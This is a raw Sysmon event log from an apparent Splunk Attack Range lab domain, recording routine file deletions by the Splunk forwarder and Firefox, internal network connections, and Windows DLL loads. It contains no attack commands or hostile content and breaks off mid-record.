23542300x800000000000000056177Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:02.706{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9FDBFE752370BE61CAF3C469B364F497,SHA256=4B8B50444E8AFF5240865D56EE8B45CF0BB9FA09B9532D48C58E3DB0C6360998,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018079Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:02.382{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=F7E7F1B72E2CD9F34BA764EAF2D4D4EA,SHA256=12EB215B54B3ACFAFB85560F3C524CB24A4717E2ECC53AD2CA4B4DA884F9A06F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018078Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:02.101{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D1F9F657EB26582154E35BEF39283645,SHA256=4A0ECBA029B1179B76956A9B3D1164252FB3C154650B8CE6FF0028FB3720E9BD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056178Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:03.753{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C8086FCBE9F34A26B97438989BB6B448,SHA256=D0C3A5D3CF70E237B132EAFCCA235F052ABA18F8927AFB9BE0EA3A3BD18732D4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018080Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:03.132{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=65A3DD228664CB98E3D8A2F3E027A1F4,SHA256=12D5EA1158E92B7F6318244038A088AEC3E077C1328E7BB6E645C8D90C800269,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056179Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:04.852{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DF845FDE25BD60A4BDFDB76B4D0297BD,SHA256=9EC86D9A5866AFD8E4F7DCD5B6D8BAADBDF3057C33BEB75D470D5F03877CFF0E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018082Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:04.179{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5CCFB2AD4E1A8F9D977DF34EB20A3538,SHA256=F2F0FEBA23918077695E033E61863A703FD6FAC29C3F40CCBB6007D71C61537B,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000018081Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:02.500{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50400-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000056180Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:05.872{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=04B66C3BCB84591963C8FD179BB5A9D7,SHA256=D519282F9F0BE3EC5D8737FAB821786ED8E7B7AAC5A76AD7EFB59BF7D17BEC2A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018083Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:05.226{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E530C30E6D052521CD6303641676457C,SHA256=BF08CB3CAFADFDA8B4E63EBE878EC440D1BDC0DFE1A261913D6B870E62C56DC4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018084Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:06.255{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BDA41F510C321945333F18C5CB01CA3F,SHA256=7AB665F23F73F67817B659AD824B802C76A6E062C611FC7B5537161BCB55CE9B,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000056181Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:04.394{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63172-false10.0.1.12-8000- 23542300x800000000000000018087Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:07.287{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3E22630D92596356FDE00E74DDDB8845,SHA256=D700C0BAD9A82DF45A01624E5B740E82578A5B9920BC2253A0BEE3D7C5B32D7A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056182Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:07.034{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6B341434D562C66376375EA6C98CFBE9,SHA256=EC9C64258DF4E12276C71E803568EA2EA893F29EDD44D7C456AC572B503B0E2E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018086Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:06.408{625C326B-67F1-613B-3B00-00000000F101}2380C:\Program Files\Amazon\SSM\ssm-agent-worker.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50402-false169.254.169.254instance-data.eu-central-1.compute.internal80http 354300x800000000000000018085Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:06.407{625C326B-67F1-613B-3B00-00000000F101}2380C:\Program Files\Amazon\SSM\ssm-agent-worker.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50401-false169.254.169.254instance-data.eu-central-1.compute.internal80http 23542300x800000000000000018090Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:08.302{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C7ABDBCCBD43CFAA70A2E199100EAB3D,SHA256=D9CDC6FC43DA07B7D87BB3CE3420151446BC028AF59510CBD79395B13A78C331,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056183Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:08.066{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2388617F0BEC85247A0296A7CC53A3EF,SHA256=ADBF5FAC5EC6AEF51B6084F0E857779F5835C423A1B1A8F067C8A005BA90A2D8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018089Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:06.574{625C326B-67F1-613B-3B00-00000000F101}2380C:\Program Files\Amazon\SSM\ssm-agent-worker.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50404-false169.254.169.254instance-data.eu-central-1.compute.internal80http 354300x800000000000000018088Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:06.463{625C326B-67F1-613B-3B00-00000000F101}2380C:\Program Files\Amazon\SSM\ssm-agent-worker.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50403-false169.254.169.254instance-data.eu-central-1.compute.internal80http 23542300x800000000000000018091Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:09.318{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FDD01898512654AF60049B4FF8B6A7D1,SHA256=21E459E9FBC909B4C3FBFDE1D19FBF58B856C8B9568A50D125344F536D78DFF0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056184Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:09.069{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F5361966F9E92BD88281A4C60DBEC507,SHA256=980021BE88CC1307EDD4E2B3EBB9BC171C485534253EDCEB7669B125E6A8F306,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056190Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:10.167{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2A43FE14D11B57C329E44105C390387F,SHA256=9A13E37C42338D0772EFA84017CCD4C3F38F941A8346826320588A0EC6DA9DD7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018093Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:10.334{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E461216A6DFD362478545CA99A15891A,SHA256=F952AED47A6E825C37FD4F3CF6EA002C6D8BDA634BE7073403E90F4E2C75D9FA,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000018092Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:08.530{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50405-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000056189Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:10.147{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=49DC1F352866DE0F562B0A42C325030B,SHA256=E76C74B1EA90D030B868215DAD95C665935DD2AED458D6034A14B930033C091D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056188Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:10.147{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=107D9B31EA29C2F6A1592F5B1AEA50ED,SHA256=0D827EF49AEC1860AE231FD2E8256A770C83093E79CA176FFDE7B797709E9D5F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056187Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:10.147{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=3F1E7E5453A5E4A217D0B9195EC420B6,SHA256=70C37B63DAED837EAC817B8B40F132AB60F749D932A911DBFECD320FFF0539BB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056186Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:10.147{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=D13F01797DA3097E410E21A00A3493E0,SHA256=71A68928CFD833237333D264A12E55FDA959D0F3486AC69CB566894B1CA3C099,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056185Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:10.147{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=2B498CAB58D90E03F90BD194E3E12F8F,SHA256=7551BA4E1DD0FB73996A8BA685003E916F0186D96338FEFED2EDB899D2D0D7FF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018094Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:11.365{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=500453026FE43EA4720DCD1B383FAB4F,SHA256=ED342959FE084CBCAB3C6C34730BD09B567B5E1F1538B3BE421603547B7AA7DB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056191Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:11.404{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9F2E321C884830FB63B66B1F1EF3E0B3,SHA256=838FC9AE4B3EFA95C3B6F19CEEB0E5AAFCE9291ED51E51B4E6175DD74D29A8D5,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018095Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:12.401{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=119B7AED6F15FAAF08093A717155B31A,SHA256=667BB9CC27E5A6B8F74C69C926E476E24AEF8D5B45D19DD0CFDED87574E862DC,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000056193Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:10.336{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63173-false10.0.1.12-8000- 23542300x800000000000000056192Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:12.414{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4ACD6F1322F14CBA2C48A9DF06FAB16C,SHA256=3DECDF38692284EEE3BF2F14904F00DE9A34B7292F0608F523FFCA643B7AEC02,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018096Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:13.510{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7CCF74A86BC68EFA625216C090A9FDC7,SHA256=D900D15C981D7D76393A0F5916A33AF48E27FD268ADF5E7DBAA2D9CD3625CD4C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056194Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:13.444{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6B20F800D14225075F4A974E271DAFBE,SHA256=20B32D18B26F41EB888BC2E048442A9DBB6E8AA5D0172F4E8D0B47710EB13622,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056195Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:14.466{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7BDAAB8F7E5D6B00217E2BE12446AE60,SHA256=12895FE40743BA8BCAE26B13CB9AEB25C1B1AEF6E04AFAD57FD1E584B258A5AB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018097Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:14.572{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7657EF194685E8BB078D30B37C518798,SHA256=FE2CE94BE43045D2D6378A9955334F2D68820EE3F79E0E777E613A6F1F7CEB3E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056201Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:15.612{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C18ED365D4FD86A0F8538B2A9C7728BA,SHA256=784FF4B59DE864AD0BD8F9CD1C3847992387F9BD85EA03D2AA02CB95045870A8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018099Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:15.604{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3E1AF97855FC5DFBF3F55F2B39A028D7,SHA256=20E68C5C17FDECA7371B5B02732F18A84260DA52F1D9CF0B2FB32F70C9E96110,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056200Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:15.181{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=0046CCCD041DA08D96C229148D0594F6,SHA256=6DDFCECD2A8163DB314315585F6A8F2D691E2EBD1EB16451BC4553CB13F1A5C2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056199Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:15.181{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=58040CC34DD82CFFCFA1212BFCEC5A49,SHA256=377DCFD2FE9F8994A2C83F8D96871899B67A564671997E0849043BF2CFB0A45C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056198Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:15.181{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=CD0CC82B5C72D570CA1DA61043707FE6,SHA256=B44E4953AB97E3BD734D89916F156521411225C4FBABA2CE665367412C541E91,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056197Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:15.181{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=FA79CE8708951666E08A34D8BA80FC1E,SHA256=219B4876F7F4129950F9E64B18FEC324A6678EC5561C5AB12C0E64421B15D2CB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056196Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:15.181{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=6C8376BE382F8D79E96D046D23B37F5D,SHA256=28A87AE75F47CED861E70003EAE954FD3F52C1C5C81E2456A831C744677346B6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000018098Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:13.581{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50406-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000056202Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:16.645{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=132946CDDF25FA241AA78C676E1D8349,SHA256=7FA2CFD9CCE036D39EAB9BAB8E26FB2584290C561510987EE290FBB6DB74B62A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018100Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:16.619{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AB513A5171CE9A3F8E3375A4066A650D,SHA256=5466CC42BBCE7AB8AF7F33CBFC725AE36142BA2342FA291A144630DA5D1FE4B5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018101Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:17.619{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=36E119134758BCA3CD932ABCA3079424,SHA256=0542C0F15900967050BBC577A3EBE6CD305E87A5DAECA7A7EABC1E8B45B149D6,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000056253Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.566{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000056252Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.566{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000056251Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.566{7BD73061-74E1-613B-A40B-00000000F001}3236C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating 